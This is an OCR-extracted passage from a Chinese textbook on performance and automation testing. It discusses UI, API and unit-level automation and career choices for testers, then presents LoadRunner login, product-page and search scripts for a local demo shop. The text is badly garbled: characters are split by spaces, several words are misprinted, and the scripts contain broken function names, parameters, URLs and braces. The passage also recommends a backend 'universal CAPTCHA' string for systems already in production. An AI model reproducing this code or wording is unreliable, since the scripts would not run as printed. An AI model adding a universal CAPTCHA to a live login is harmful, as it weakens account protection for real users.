自己 的 实践 经 验 来 看 ,大 规模 应 用 UI 层 自 动 化 测试 最 后 的 结局 总 是 悲剧 
的 。 主 要 由 以 下 几 个 原因 导致 

(1) UI 变化 频繁 ,计划 根本 赶不上 变化 (同意 的 小 伙伴 们 请 点 赞 ); 

(2) 初期 见效 太 慢 ,等 不 了 ,我 们 都 希望 恨不得 用 了 自动 化 测试 技术 就 
能 立马 看 到 效果 ,但 事实 总 是 相反 ,自动 化 测试 的 效果 是 在 后 期 体现 的 ; 

(3) 前 端的 开发 不 规范 ,导致 很 多 元 素 识别 和 定位 起 来 较为 困难 。 

那 UI 层 自动 化 测试 是 不 是 就 不 能 应 用 了 呢 ? 必然 不 是 ! 保持 一 个 客 
观 . 公 正 的 态度 来 看 待 是 非常 重要 的 ,至 少 从 我 个 人 的 实践 经 验 来 讲 ,UI 层 
自动 化 测试 可 以 应 用 到 冒 烟 测试 中 ,这 里 的 冒 烟 测试 是 指 主 流程 的 测试 ,就 
是 那些 非常 重要 且 不 会 频繁 变化 的 流程 ,可 以 利用 UI 层 自 动 化 测试 来 完 
成 。 比 如 ,之 前 我 们 会 对 电 商 系统 的 主流 程 做 每 日 的 UI 层 自动 化 回归 测 
试 , 用 来 保证 线 上 系统 功能 的 正常 ,效果 还 不 错 。 所 以 ,用 与 不 用 关键 在 于 
它 的 适用 范围 ,只 有 在 合适 的 范围 内 使 用 了 合适 的 技术 才 会 表现 出 最 好 的 
歼 果 < 

最 后 用 一 句 话 总 结 :“ 给 你 一 把 屠 龙 刀 ,如 果 你 不 会 用 , 那 就 和 菜刀 一 
样 。" 只 有 对 自动 化 测试 有 了 正确 的 认 知 ,才能 更 好 地 去 推动 它 的 发 展 ,也 只 
有 明白 了 它 的 特点 ,才能 更 好 地 运用 。 
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1.5.2 接口 层 


接口 层 是 现在 企业 中 应 用 最 为 广泛 的 自动 化 测试 方法 之 一 , 它 的 优点 
在 于 基本 规避 了 UI 层 自动 化 测试 的 缺点 ,并 且 一 旦 形成 较为 稳定 、 完 整 的 
框架 后 基本 上 是 可 以 通用 的 ,不 论 是 在 Web 端 还 是 移动 端 都 可 以 使 用 。 但 
缺点 也 很 明显 ,就 是 对 测试 工程 师 的 编码 能 力 要求 较 高 ,这 也 是 很 多 测试 工 
程 师 止 步 于 此 的 重要 原因 。 

接口 层 自动 化 测试 是 我 个 人 比较 推荐 的 ,也 建议 大 家 有 能 力 就 多 去 学 
习 一 下 ,对 于 自身 测试 技术 的 提升 还 是 有 明显 帮助 的 。 一 般 接 口 层 自动 化 
测试 都 会 用 Python Ruby 等 语言 开发 ,比如 , 某 租车 公司 的 接口 测试 框架 是 
用 Ruby 开发 的 ,我 们 之 前 的 接口 测试 框架 是 用 Python 开发 的 ,这 里 大 家 不 
必 纠 结 用 什么 语言 开发 ,它们 在 编程 思想 上 是 相通 的 ,只 是 在 语法 上 稍 有 不 
同 而 已 ,基本 上 你 熟悉 了 一 门 语言 后 再 学 其 他 的 语言 都 会 非常 快 。 多 说 无 
益 , 只 有 做 过 的 朋友 才能 体会 它 的 好 。 后 面 的 章节 中 也 会 给 大 家 讲解 一 些 
轻 量 级 框架 的 设计 与 实现 。 


1.5.3 单元 层 


单元 层 的 自动 化 测试 对 测试 工程 师 的 编码 能 力 要求 较 高 , 且 要 能 看 懂 
业务 的 实现 代码 ,这 样 才 能 针对 被 测 代 码 编写 单元 测试 代码 ,一 般 都 是 引入 
XUnit、TestNG 等 框架 来 完成 。 为 什么 大 部 分 公司 在 这 个 层级 也 无 法 很 好 
地 推行 呢 ? 原因 在 1. 2 节 性 能 测试 分 层 模 型 中 已 讨论 过 ,此 处 不 再 讲述 。 

其 实 , 自 动 化 测试 的 难点 在 于 框架 的 设计 ,而 不 在 于 写 代码 。 框 架 的 设 
计 需 要 统筹 全 局 ,就 好 像 一 个 指挥 官 。 而 最 后 实现 框架 , 则 招 几 个 有 写 代 码 
能 力 的 人 怎么 都 可 以 实现 。 在 小 强 自动 化 测试 班 中 我 也 能 深刻 地 感受 到 ， 
很 多 学 员 在 学 写 代 码 的 时 候 表现 还 不 错 , 但 在 最 终 设计 框架 的 时 候 毫 无 头 
绪 , 或 者 说 是 没有 框架 设计 的 思想 ,导致 大 脑 一 直 空白 ,这 样 的 话 学 得 再 好 
都 没有 用 ,因为 你 学 的 用 不 上 ,只 有 当 你 具备 总 体 框架 设计 的 思维 能 力 , 才 
能 利用 所 学 的 语言 去 实现 ,过 程 中 无 非 就 是 在 实现 时 遇 到 问题 了 查 查 资料 
而 已 ,至 少 你 能 迈 出 这 最 重要 的 一 步 了 。 可 见 , 有 时 候 思想 是 多 么 关键 啊 ! 
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1.6 分 层 自动 化 在 企业 中 的 演变 


在 了 解 了 什么 是 分 层 自动 化 测试 模型 之 后 ,就 要 思考 如 何在 企业 中 进 
行 应 用 了 。 应 用 的 方式 多 种 多 样 ,并 没有 标准 的 答案 ,需要 根据 企业 的 内 部 
情况 来 考虑 。 这 里 分 享 以 往 我 们 的 经 验 , 仅 供 大 家 参考 。 

大 部 分 测试 人 员 的 代码 能 力 还 是 欠缺 的 ,并 且 对 编程 有 一 定 的 抵触 思 
想 。 我 曾经 遇 到 的 一 个 人 对 我 说 过 :“ 我 现在 纯 功 能 测试 已 经 拿 到 了 1 万 月 
薪 , 你 会 点 自动 化 才 比 我 多 拿 几 千 而 已 ”请 让 我 静 静 , 欲 峰 无 泪 啊 。 其 实 会 
自动 化 测试 除了 能 提高 我 们 的 薪资 外 ,更 重要 的 是 有 一 门 可 以 拿 得 出 手 的 
手艺 ,在 关键 时 刻 能 帮助 你 ,而 不 会 轻易 被 人 取代 。 

好 ,我 们 回 到 主题 ,也 是 由 于 上 述 原因 ,所 以 建议 在 团队 中 先进 行 UI 层 
的 自动 化 测试 尝试 ,毕竟 UI 层 自动 化 测试 只 要 把 识别 元 素 和 操作 方法 搞 
定 , 基 本 就 可 以 写 出 来 一 个 框架 ,学 习 成 本 较 低 。 但 这 里 需要 注意 ,强烈 建 
议 UI 层 自动 化 测试 只 在 核心 功能 、 基 本 功能 上 进行 尝试 ,也 就 是 变化 不 会 
太 大 太 频 繁 的 ,不 适合 应 用 到 所 有 流程 里 ,切记 ! 

当 尝 试 UI 层 自动 化 测试 一 段 时 间 后 ,你 会 发 现 它 的 好 与 不 足 。 此 时 ， 
大 家 既 对 自动 化 测试 有 了 一 定 了 解 ,也 有 了 实战 经 验 ,那么 引入 接口 层 自 动 
化 测试 的 时 机 就 到 了 。 接 口 层 的 自动 化 测试 可 以 覆盖 大 部 分 接口 ,并 进行 
回归 测试 。 这 个 时 候 我 们 的 测试 策略 就 变 为 了 以 接口 测试 为 主 ,手工 测试 
为 辅 (关注 页 面 显示 功能、 兼容 性 等 ) ,UI 自动 化 测试 来 验证 线 上 主 功能 的 
正确 性 ( 冒 烟 测试 )。 

为 了 使 得 接口 层 自动 化 测试 的 效率 更 高 ,可 以 继续 进行 改进 ,比如 优化 
PO 模型 数据 驱动 等 。 同 时 ,为 了 让 测试 更 提前 切入 ,引入 Mock, 并 完善 一 
些 无 法 构造 数据 的 场景 ,效率 将 会 再 次 得 到 提升 。 

最 后 ,大 家 顺 着 我 们 的 思路 ,肯定 认为 下 一 步 就 是 单元 测试 了 。 那 么 让 
你 失望 了 ,我 们 并 没有 真正 意义 上 进行 过 单元 测试 的 尝试 ,最 大 的 原因 是 时 
间 不 够 .资源 不 够 。 不 过 之 前 我 们 和 某 外 企 的 测试 团队 进行 过 交流 ,这 里 可 
以 分 享 一 下 他 们 是 如 何 做 单元 测试 的 。 

他 们 给 我 最 大 的 冲击 其 实 并 不 是 技术 有 多 强 ,而 是 观念 的 包容 ,我 们 则 
有 太 多 的 排他 性 。 当 时 他 们 的 单元 测试 是 测试 人 员 编 写 case, 开 发 人 员 实 现 
代码 ,最 后 出 报告 大 家 一 起 分 析 。 对 ,你 没有 听 错 ,是 这 么 做 的 。 这 种 方式 
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在 国内 企业 估计 很 难 实现 吧 。 这 种 方式 最 大 的 好 处 就 是 测试 人 员 编 写 case 
来 弥补 开发 人 员 对 各 类 情况 的 考虑 不 足 , 同 时 也 能 学 到 代码 的 一 些 知 识 ; 而 
开发 人 员 编 写 代 码 则 弥补 测试 人 员 编 写 代 码 能 力 的 欠缺 ,同时 提升 自己 编 
写 代 码 的 质量 ,互利 互惠 。 

当然 ,这 时 候 可 能 会 有 小 伙伴 说 , 那 开 发 的 工作 量 太 大 了 。 其 实 不 然 ， 
只 是 开始 阶段 工作 量 大 ,一旦 成 型 稳定 后 ,工作 量 并 不 会 太 大 ,相反 经 过 这 
样 的 互相 监督 ,代码 的 质量 能 有 较 大 提升 。 

理想 很 丰满 ,现实 很 骨 感 ,我 们 也 不 用 去 鲜 莫 别人 ,合适 自己 的 才 是 最 
好 的 ,专心 研究 自己 的 业务 、 流 程 场 景 来 不 断 完善 测试 技术 并 使 其 发 挥 作 
用 , 才 是 我 们 最 应 该 做 的 。 


1.7 初学 者 如 何 选择 学 习 哪 种 测试 技术 


这 个 话题 有 点 沉重 ,因为 一 旦 表述 不 好 可 能 会 被 一 些 无 良 的 人 加 之 ,但 
思 前 想 后 还 是 决定 写 这 一 章节 。 因 为 太 多 的 朋友 问 过 我 这 个 问题 了 ,大 概 
统计 了 一 下 ,基本 每 两 天 就 会 被 问 到 一 次 ,有 时 候 一 天 还 会 被 问 到 N 次 ,我 
为 此 还 在 ( 挨 踢 脱口 秀 》 中 专门 做 了 一 期 节目 ,可 见 这 个 话题 的 必要 性 了 ,也 
希望 能 帮助 有 选择 纠结 症 的 朋友 。 

下 面 我 尽量 客观 地 以 我 自己 的 学 习 经 历来 聊 聊 ,也 许 这 个 经 历 不 是 最 
好 的 ,甚至 是 错 的 ,但 若 可 以 给 大 家 一 些 参考 , 帮 大 家 少 走 一 些 弯 路 ,我 觉得 
就 是 有 价值 的 。 

首先 ,我 们 说 说 学 习性 能 测试 需要 面临 的 几 个 挑战 ,大 家 可 以 结合 自己 
的 实际 情况 判断 自己 是 否 适合 继续 学 习 。 

第 一 ,庞大 的 知识 体系 ,这 是 我 们 面临 的 第 一 个 挑战 。 性 能 测试 是 一 项 
复杂 且 需 要 耐心 的 工作 ,我 们 需要 在 复杂 的 系统 中 “ 抽 丝 剥 草 ”, 一 层 层 分 
析 , 从 而 确定 性 能 问题 。 这 个 过 程 会 涉及 中 间 件 、Web 服务器、 缓存、 数据 
库 .代码 等 知识 ,所 以 没有 一 个 较为 完整 的 知识 体系 就 很 难 进行 下 去 。 虽 然 
说 是 挑战 ,但 在 我 看 来 却 是 大 部 分 小 白 朋友 最 佳 的 入 门 途径 ,因为 它 能 帮助 
我 们 快速 建立 较为 完善 的 知识 体系 ,对 于 我 们 而 言 有 百 利 而 无 一 害 。 不 知 
你 是 否 遇 到 过 这 样 的 场景 ,被 指 着 鼻子 说 : 连 一 个 SQL 语句 都 不 会 写 , 连 中 
间 件 是 什么 都 不 知道 ,你 还 和 我 们 讨论 什么 。 这样 的 “着 厚 ” 虽 然 让 我 们 不 
开心 ,但 也 直 白 地 指出 了 现在 很 多 测试 工程 师 在 整体 知识 体系 方面 的 欠缺 ， 
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只 有 把 自己 的 短 板 补 起 来 才 有 底气 和 实力 去 争取 更 美好 的 事物 。 

第 二 , 较 强 的 分 析 能 力 , 这 是 我 们 面临 的 第 二 个 挑战 。 就 好 像 动画 片 
《名 侦探 柯南 》, 在 复杂 的 犯罪 现场 破案 ,需要 不 断 地 推断 和 论证 ,这 个 过 程 
中 有 可 能 会 把 之 前 确定 的 事情 推翻 ,也 有 可 能 好 几 天 都 没有 进展 ,但 这 也 是 
它 的 魅力 ,可 以 说 是 痛 并 快乐 的 。 

在 接触 过 很 多 学 员 之 后 ,我 发 现 大 家 存在 一 个 共同 的 问题 就 是 逻辑 分 
析 能 力 较 差 ,在 分 析 的 过 程 中 经 常 是 东 一 点 西 一 点 ,完全 没有 逻辑 可 言 , 都 
是 乱 猜 ,并 且 经 常 容易 掉 人 细节 ,一旦 掉 入 无 法 自拔 ,导致 停滞 不 前 ,这 也 就 
是 为 什么 很 多 人 觉得 性 能 测试 难 的 原因 。 在 我 看 来 ,性 能 测试 的 分 析 过 程 
就 像 剥 洋葱 ,你 需要 一 层 层 剥 开 才 能 看 到 问题 所 在 ,这 个 过 程 需要 你 有 较 强 
的 逻辑 分 析 能 力 ,同时 也 要 具有 宏观 性 ,只 有 站 在 一 定 的 高 度 去 看 待 问 题 ， 
才能 吉 然 开朗 ,不 然 就 会 陷入 死胡同 。 一 旦 这 个 思维 能 力 培养 好 了 ,就 会 事 
半 功 倍 , 学 习 其 他 技术 时 效率 也 会 提高 ,所 以 万 事 都 需 付 出 才能 有 收获 。 

其 次 ,我 们 再 来 说 说 学 习 自 动 化 测试 需要 面临 的 几 个 挑战 。 

第 一 ,编码 能 力 , 这 个 是 逾越 不 过 的 坎 儿 。 说 到 这 里 可 能 会 有 朋友 问 ， 
难道 性 能 测试 不 需要 编码 能 力 吗 ? 答案 是 需要 ,但 比 起 自动 化 测试 来 说 门 
槛 相对 低 点 。 其 实 对 于 一 个 优秀 的 测试 工程 师 来 说 编码 能 力 是 必 备 的 
技能 。 

如 何 提 升 自己 的 编码 能 力也 是 不 少 朋 友 咨 询 过 我 的 问题 ,真心 没有 什 
么 捷径 ,就 是 要 多 练习 多 总 结 ,我 说 的 练习 是 真正 地 动手 去 做 而 不 是 看 。 我 
带 过 的 学 员 中 其 实 大 部 分 同学 都 存在 一 个 问题 ,就 是 上 课 听 的 时 候 感觉 很 
简单 ,不 以 为 然 , 但 自己 下 课 后 练习 时 却 出 现 各 种 问题 ,很 简单 的 知识 点 能 
搞 一 天 ,所 以 一 定 要 多 练习 ,每 次 犯 过 的 错误 也 都 要 及 时 总 结 ,不 能 让 自己 
在 同一 个 地 方 跌倒 两 次 。 我 再 苦口 婆 心 一 句 :“ 没 有 不 起 眼 的 砖 ,没有 看 不 
到 的 框架 ,漂亮 的 楼 房 怎 么 能 屹立 不 倒 ?” 

第 二 ,逻辑 思维 能 力 。 在 有 了 编码 能 力 之 后 就 能 做 自动 化 测试 了 吗 ? 
显然 不 能 ,因为 自动 化 测试 最 终 是 希望 建立 一 个 框架 或 者 平台 ,这 是 一 个 大 
工程 ,一 定 要 有 较 强 的 逻辑 思维 能 力 和 设计 能 力 才 行 。 就 好 比 , 你 会 焊接 技 
术 但 不 代表 你 会 设计 汽车 啊 。 所 以 自动 化 测试 真正 的 难点 在 于 设计 思想 ， 
一 点 经 验 都 没有 的 朋友 做 起 来 确实 会 比较 吃力 ,这 也 就 是 为 什么 我 个 人 建 
议 可 以 先 学 习性 能 测试 ,培养 能 力 和 思维 之 后 再 学 自动 化 测试 的 原因 了 。 

说 了 这 么 多 ,我 想 大 家 应 该 心中 已 经 有 了 答案 ,再 次 声明 ,这 些 只 是 我 
个 人 的 看 法 ,不 见得 对 , 仅 供 参考 而 已 ,不 喜 勿 喷 。 
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1.8 本 章 小 结 


本 章 的 内 容 看 似 以 理论 为 主 , 却 是 十 分 重要 的 ,尤其 对 于 小 白 朋 友 来 
说 ,正确 地 理解 什么 是 性 能 测试 和 自动 化 测试 尤为 重要 ,也 能 为 以 后 的 学 习 
打下 坚实 的 基础 。 

对 于 已 有 一 些 经 验 的 朋友 ,本章 也 能 完善 你 的 认 知 ,为 后 续 推 动 性 能 测 
试 、 自 动 化 测试 的 发 展 和 应 用 提供 一 定 的 指导 思想 。 

希望 大 家 通过 本 章 的 阅读 可 以 全 新 认识 性 能 测试 和 自动 化 测试 ,也 希 
望 本 章 的 内 容 可 以 解答 大 家 心中 的 一 些 疑惑 。 


LoadRunner 脚 本 开发 实战 精 要 


本 章 将 详细 讲解 LoadRunner 在 企业 项 目 应 用 中 关于 脚本 开发 方面 的 
知识 ,同时 也 会 对 并 发 数 、 场 景 设 计 、 结 果 分 析 以 及 报告 编写 等 方面 进行 讲 
解 。 但 有 关 LoadRunner 的 基础 知识 和 操作 不 在 本 书 的 范围 内 ,大 家 可 以 去 
我 的 博客 或 者 附录 中 的 资料 地 址 自行 学 习 。 


2.1 LoadRunner 介绍 


LoadRunner 是 业界 著名 的 商业 性 能 测试 工具 ,也 是 做 性 能 测试 的 朋友 
经 常 接触 的 工具 之 一 。 可 能 有 的 朋友 对 工具 这 个 东西 不 感 兴 趣 , 甚 至 觉得 
自己 会 使 用 某 一 工具 这 件 事 是 非常 *low” 的 ,但 我 想 说 ,虽然 工具 不 是 万 能 
的 ,但 没有 工具 却 万 万 不 行 ,能 把 一 个 工具 应 用 到 极致 也 是 一 种 本 事 。 而 如 
何 通过 学 习 并 使 用 工具 来 体会 它 的 设计 思想 ,这 才 是 更 重要 的 。 

举 个 例子 ,如 果 有 朋友 了 解 QC(Quantity Center) 应 该 知道 它 是 一 款 强 
大 的 商业 测试 管理 工具 ,也 许 我 们 买 不 起 它 , 但 至 少 可 以 学 习 这 个 工具 的 设 
计 思 想 , 这 样 我 们 就 可 以 利用 开源 的 工具 来 模拟 出 QC 可 以 做 的 事情 ,详细 
的 文章 内 容 可 参考 我 博客 中 的 “Quality Center 引发 的 测试 管理 思考 ”一 文 
(http://xqtesting. blog. 51cto. com) 。 所 以 我 也 希望 大 家 正确 地 看 待 工具 ， 
因为 它 给 我 们 带 来 的 价值 远 比 我 们 想象 得 要 多 。 
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2.2 使 用 LoadRunner 完成 业务 级 脚本 开发 


这 里 所 说 的 业务 级 其 实 就 是 一 个 概念 的 包装 ,很 多 时 候 一 些 新 鲜 且 高 
大 上 的 概念 都 是 这 样 被 包装 出 来 的 。 可 以 简单 地 将 业务 级 脚本 开发 理解 为 
通过 模拟 用 户 在 页 面 上 的 操作 而 完成 业务 流程 和 场景 即 可 。 

LoadRunner 之 所 以 受到 欢迎 ,其 中 一 个 重要 原因 就 是 它 有 强大 的 录制 
功能 , 免 去 了 我 们 手工 写 脚本 的 步骤 ,大 大 降低 了 门槛 。 当 然 ,一 些 特殊 的 
脚本 我 们 还 得 手工 去 编写 代码 。 这 里 我 们 将 以 一 个 典型 的 电 商 项 目 为 例 进 
行业 务 级 脚本 开发 的 讲解 ,协议 是 最 常用 的 HTTP。 


2.2.1 项 目 介绍 


标准 的 电 商 商城 ,拥有 Web 端 和 WAP 端 (标准 的 H5)。 也 就 是 说 , 既 
可 以 通过 计算 机 的 浏览 器 来 访问 ,也 可 以 通过 手机 端 来 访问 。 它 们 拥有 大 
部 分 商城 应 有 的 功能 ,比如 注册 、 登 录 、 搜 索 、 下 单 、 支 付 等 ,并 支持 与 第 三 方 
支付 系统 对 接 。 说 了 这 么 多 ,来 一 张 炫丽 的 页 面 , 如 图 2.1( 请 忽视 图 中 1 元 
的 大 钻戒 ,要 真有 这 个 价格 的 我 会 偷偷 告诉 你 们 的 哦 ) 。 


2.2.2 需求 分 析 


对 于 性 能 需求 点 的 分 析 和 提取 ,可 以 参考 的 指导 性 方法 大 致 有 通过 服 
务 器 日 志 分 析 、 业 界 公 认 标 准 、8020 原则 、 用 户 模 型 等 ,具体 来 说 ,性 能 需求 
点 包括 但 不 限于 以 下 这 些 

(1) 用 户 最 常用 的 业务 。 最 常用 不 见得 就 是 最 重要 的 、 最 核心 的 ,但 却 
会 影响 用 户 体验 ,比如 登录 、 搜 索 。 有 时 候 我 们 的 思维 惯性 会 导致 思考 进入 
盲点 ,大 家 需要 慢 慢 调整 。 

(2) 最 重要 的 业务 。 最 重要 的 不 见得 就 是 最 常用 的 ,可 一 旦 出 现 问题 可 
能 会 影响 全 局 。 

(3) 耗费 资源 较 大 的 业务 。 比 如 ,搜索 业务 可 能 会 查询 出 较 多 、 较 大 的 
数据 。 这 样 的 业务 有 可 能 导致 服务 器 资源 的 极 大 占用 ,严重 会 导致 容 机 。 

(4) 关键 接口 。 对 于 一 些 重要 上 且 关键 的 接口 也 应 该 单独 进行 性 能 测试 ， 
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图 2.1 商城 页 面 


尽早 做 预防 。 如 何 使 用 LoadRunner 来 完成 接口 级 脚本 开发 将 在 后 续 的 章 
节 中 详细 讲解 。 

当 我 们 完成 需求 分 析 之 后 ,就 需要 把 需求 详细 地 描述 下 来 并 记录 成 文 
档 , 这 时 候 又 会 出 现 一 些 问题 ,在 描述 需求 的 时 候 会 存在 不 准确 .不 完整 其 
至 有 歧义 的 现象 。 所 以 在 描述 的 时 候 要 尽量 准确 一致。 比如 ,在 有 1500 个 
系统 用 户 ,基础 数据 为 10 万 的 条 件 下 ,并 发 用 户 100 个 ,完成 某 业 务 最 大 响 
应 时 间 不 超过 5s, 平 均 响 应 时 间 在 2s 内 。 
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小 白 朋 友 很 多 时 候 对 系统 用 户 数 、 在 线 用 户 数 和 并 发 数 这 几 个 概念 
分 不 清楚 ,下 面 我 就 做 一 个 简单 的 解释 。 


。 系统 用 户 数 : 说 简单 点 就 是 该 系统 的 注册 用 户 数 。 例 如 ,小 强 软 
件 测试 的 博客 里 存在 8888 个 注册 用 户 , 他 们 可 以 是 活跃 的 也 可 
以 是 “僵尸 ”的 。 

在 线 用 户 数 : 是 指 登 录 系 统 的 用 户 数 。 例 如 ,其 中 有 888 个 用 户 
状态 为 在 线 , 但 在 线 用 户 并 不 一 定 都 会 对 服务 器 产生 压力 ,因为 
有 的 用 户 登 录 后 是 什么 都 不 干 的 。 

并 发 用 户 数 : 是 指 与 服务 器 产生 交互 ,也 就 是 说 对 服务 器 产生 压 
力 的 用 户 数 。 例 如 ,可 能 在 线 的 888 个 用 户 中 只 有 20% 的 用 户 
对 服务 器 产生 了 压力 ,而 在 性 能 中 我 们 常 说 的 并 发 用 户 数 就 是 这 
个 概念 。 


说 到 这 里 ,我 又 突然 想起 一 个 经 常 被 讨论 的 话题 ,总 有 人 说 需求 分 析 一 
定 要 根据 日 志 来 ,什么 8020 原则 都 是 不 对 的 。 我 不 知道 这 些 人 是 怎么 想 的 ， 
至 少 在 我 自己 的 经 历 中 遇 到 了 几 种 情况 无 法 根据 日 志 分 析 , 我 相信 也 是 大 
部 分 朋友 所 遇 到 的 。 

(1) 新 系统 。 根 本 没有 数据 可 以 参考 ,怎么 去 分 析 日 志 ? 大 家 一 定 要 明 
白 ,站 在 技术 角度 来 说 ,根本 没有 绝对 的 对 和 准确 ,你 觉得 你 的 方法 是 对 的 ， 
可 能 过 两 天 出 来 一 个 更 加 对 的 方法 。 科 学 界 的 标准 都 在 不 断 更 新 ,甚至 推 
翻 ,更 何况 技术 呢 。 

(2) 老 系统 。 你 以 为 老 系统 就 一 定 会 有 完善 的 数据 提供 给 你 ” 别 逗 了 ， 
很 多 公司 的 老 系统 也 没有 完善 的 监控 体系 ,只 能 提供 一 些 基 础 的 日 志 信息 。 
有 的 朋友 可 能 会 说 ,你 看 那些 大 公司 都 有 。 是 的 ,它们 是 都 有 ,但 并 不 代表 
所 有 公司 都 有 ,毕竟 好 点 的 大 公司 就 那么 几 家 ,不 是 每 个 人 都 可 以 进去 的 。 
我 一 直 提 倡 : 一 个 优秀 的 测试 工程 师 不 是 技术 有 多 和牛, 而 是 他 的 适应 能 力 、 
学 习 能 力 是 极 强 的 ,所 以 不 论 是 在 数据 完善 的 大 公司 还 是 在 混乱 的 小 公司 
抑或 发 展 中 的 创业 公司 ,都 可 以 一 展 身手 。 

分 析 的 方法 并 没有 对 与 错 的 标准 ,不 同 的 情况 下 我 们 只 能 用 不 同 的 方 
法 来 做 分 析 。 就 好 像 你 在 一 个 孤岛 上 ,上 面 没 有 现成 的 淡水 供 你 饮用 ,难道 
你 就 要 渴 死 吗 ? 完全 可 以 自制 一 个 简易 的 淡水 过 滤 系 统 , 至 少 可 以 保证 你 
能 活 下 来 ,只 有 活 下 来 你 才能 做 更 多 的 事情 。 

对 于 大 家 熟悉 不 过 的 电 商 商城 来 说 ,简单 提取 下 需要 测试 的 业务 也 不 
是 一 件 难 事 。 这 里 我 们 以 登录 、 搜 索 、 浏 览 单 品 页 、 下 单 支 付 为 例 来 讲解 脚 
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本 开发 ,其 中 一 定 有 你 曾 遇 到 或 将 要 遇 到 的 难题 。 
2.2.3 脚本 开发 


1. 登录 脚本 


登录 业务 是 我 们 最 为 熟悉 的 业务 ,一 般 就 是 输入 用 户 名 、 密 码 进行 登 
录 , 如 果 安 全 一 点 还 会 要 求 输入 验证 码 。 那 这 时 第 一 个 问题 就 来 了 ,对 于 有 
验证 码 的 登录 该 怎么 处 理 呢 ? 一 般 的 处 理 方法 有 下 面 几 种 。 
(1) 利用 各 种 先进 技术 去 识别 ,比如 ,利用 OCR 来 识别 验证 码 。 首 先 对 
于 这 样 的 研究 和 实践 我 们 应 该 为 其 点 赞 一 一 做 技术 就 应 该 有 探索 的 精神 。 
但 现在 的 验证 码 都 比较 复杂 ,干扰 因子 很 多 并 不 好 识别 ,所 以 我 个 人 觉得 没 
有 特殊 需求 可 以 放弃 这 种 方法 。 
(2) 验证 码 对 于 做 性 能 测试 而 言 其 实 影响 并 不 大 ,明白 这 一 点 后 我 们 直 
接 找 开发 的 同学 协助 屏蔽 系统 中 的 验证 码 即 可 ,简单 有 效 。 
(3) 方法 (2) 虽 然 简单 有 效 , 但 有 一 个 缺点 ,如 果 你 的 被 测 系统 是 已 经 上 
线 了 的 ,直接 屏蔽 验证 码 影响 就 比较 大 了 ,这 时 候 我 们 可 以 转变 下 思路 , 留 
一 个 “万 能 验证 码 ? 出 来 ,也 就 是 后 端 确认 一 串 字符 ,只 要 用 户 输 入 这 个 字 
符 ,不 论 现在 的 验证 码 是 什么 ,都 认为 是 正确 的 。 这 样 就 比较 好 地 解决 了 
问题 。 
解答 了 大 家 第 一 个 疑问 之 后 ,我 们 就 开始 录制 脚本 了 ,具体 录制 操作 过 
程 此 处 不 再 讲述 ,去 掉 无 关 请 求 后 的 最 终 登录 脚本 代码 如 下 。 
Action() 
{ 
// 打 开 首 页 
web_url("xiaogqiangshop", 
"URL = http://127.0.0.1/xiaogqiangshop/", 
"TargetErame = ", 
"Resource= 0", 
"RecContentType = text/html"， 
"Referer = "， 
"Snapshot = t1. inf", 
"Mode = HTML", 
LAST); 


// 文 本 检查 点 ,检查 登录 的 用 户 名 , 如 果 没 有 找到 就 算 失败 
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web_reg_find("Fail = NotFound", 
"Text = {username}", 
LAST); 


// 思 考 时 间 固定 2s 
lr think time(2); 


// 登 录 事 物 
lr_start transaction(" 登 录 "); 
// 登 录用 户 名 进行 了 参数 化 
web_submit data("user.php 2", 
"Action= http://127.0.0.1/xiaoqiangshop/user. php", 
"Method = POST", 
"TargetFrame = ", 
"RecContentType = text/html"， 
"Referer = http://127.0.0.1/xiaoqiangshop/user.php?act = login", 
"Snapshot = t9. inf", 
"Mode = HTML", 
ITEMDATA, 
"Name = username", "Value = {username}", ENDITENM, 
"Name = password", "Value = 123123", ENDITEM, 
"Name = act", "Value = act login", ENDITEM, 
"Name = back act", "Value = http://127.0.0.1/xiaoqiangshop/", ENDITENM, 
"Name = submit", "Value = ", ENDITEM, 
LAST); 
lr_end_transaction(" 登 录 ",，LR_AUTO); 


return 0; 


} 
2. 浏览 单 品 页 脚本 


浏览 单 品 页 业务 其 实 就 是 访问 一 个 商品 的 详情 页 ,一 般 都 是 通过 一 个 
类 似 ID 的 字段 来 区 别 的 。 最 终 脚 本 代码 如 下 。 


Action( ) 


{ 
lr _ think time(2); 


// 浏 览 单 品 页 事物 

lr_start transaction(" 浏 览 单 品 页 "); 
// 商 品 id 进行 了 参数 化 
web_url("goods. php", 
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"URL = http://127.0.0.1/xiaoqiangshop/goods. php?id= {goods_id db}", 
"TargetFrame = ", 
"Resource= 0", 
"RecContentType = text/html"， 
"Referer = http://127.0.0.1/xiaogqiangshop/", 
"Snapshot = t13. inf", 
"Mode = HTML", 
LAST); 
lr_end_transaction(" 浏 览 单 品 页 "，LR_AUTO); 


return 0; 


} 


其 中 对 商品 ID 进行 了 参数 化 ,参数 化 一 般 在 LoadRunner 中 有 两 种 方 
式 : 文本 参数 化 和 数据 库 参 数 化 。 如 果 你 的 参数 化 数据 较 多 , 则 可 以 使 用 数 
据 库 参数 化 来 完成 。 此 处 使 用 的 就 是 数据 库 参 数 化 的 方式 。 


3. 搜索 脚本 


有 些 搜索 脚本 会 遇 到 一 些 共性 的 问题 ,就 是 编码 。 这 个 确实 让 人 头疼 ， 
说 个 题 外 话 , 学 过 Python 的 朋友 应 该 知道 ,在 Re X Eee 
中 文 的 处 理 ,而 在 Python3. X 中 则 完美 解决 了 这 个 问题 。 中 文 啊 , 你 真是 让 
我 欢喜 让 我 忧 ! 

在 LoadRunner 中 涉及 转 码 的 可 以 尝试 使 用 lr_convert _string _ 
encoding 函数 ,具体 用 法 可 参考 LoadRunner 自 带 的 函数 帮助 手册 。 最 终 脚 
本 代码 如 下 。 


Action( ) 
{ 
// 转 码 函数 , 转 为 utf8 


lr_convert _ string encoding(lr eval string("{keywords}"), 
LR_ENC_ SYSTEM LOCALE, LR ENC UTF8, "stringInUnicode"); 


// 把 保存 在 stringInUnicode 中 的 赋值 给 ss 


lr_save_string (lr eval string("{stringInUnicode}"),"ss" ); 
lr think time(2); 


// 把 keywords 替换 为 转 码 后 的 内 容 


lr_start transaction("search"); 
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web_url("search. php", 
"URL = http://127. 0. 0. 1/xiaogqiangshop/search. php? keywords = {ss} 
&imageField= %E6% 90%9C+ %E7S%BASA2", 
"TargetFrame = "， 
"Resource = 0", 
"RecContentType = text/html"， 
"Referer = http://127.0.0.1/xiaogqiangshop/index. php", 
"Snapshot = t5. inf", 
"Mode = HTML", 
LAST); 
lr_end_ transaction("search", LR_AUTO); 


return 0; 


) 
4. 下 单 支付 脚本 


所 谓 的 下 单 支 付 就 是 大 家 熟知 的 购买 和 付款 。 面 对 这 样 的 业务 时 ,我 
